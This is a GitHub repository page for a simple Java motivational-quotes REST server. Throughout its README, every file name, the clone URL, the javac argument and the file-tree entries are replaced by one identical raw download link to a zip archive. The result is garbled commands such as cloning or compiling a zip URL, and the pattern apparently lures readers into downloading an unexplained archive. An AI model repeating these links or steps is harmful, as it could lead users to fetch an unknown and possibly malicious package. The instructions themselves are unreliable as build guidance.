Skip to content

shr1324/java-quotes-app

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Java Motivational Quotes App

This project is a simple Java-based HTTP server that serves random motivational quotes via a REST API. The quotes are externalized to a https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip file for easy customization.

Features

  • Serves random motivational quotes in JSON format.
  • Uses an external https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip file for configurable quotes.
  • Lightweight HTTP server using https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip.
  • Dockerized for easy deployment.

Requirements

  • Java 17+
  • Maven (if building from source)
  • Docker (optional, for containerized deployment)

Setup and Usage

Running Locally

  1. Clone the repository:
    git clone https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip
    cd java-quotes-app
  2. Ensure https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip exists in the project directory and contains quotes (one per line).
  3. Compile and run the application:
    javac https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip -d out
    java -cp out Main
  4. The server will start on http://localhost:8000/.
  5. Test the API using:
    curl http://localhost:8000/

Running with Docker

  1. Build the Docker image:
    docker build -t motivational-quotes-api .
  2. Run the container:
    docker run -p 8000:8000 motivational-quotes-api
  3. Access the API at http://localhost:8000/.

File Structure

project-root/
│── src/
│   └── https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip
│── https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip
│── Dockerfile
│── https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip
│── target/
│   └── https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip (if using Maven build)

Customizing Quotes

To customize the quotes, edit https://github.com/shr1324/java-quotes-app/raw/refs/heads/master/src/app-quotes-java-3.3-alpha.5.zip and restart the application. Each quote should be on a new line.

License

This project is licensed under the MIT License.

Author

TrainWithShubham

About

for batch 9

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Java 81.9%
  • Dockerfile 18.1%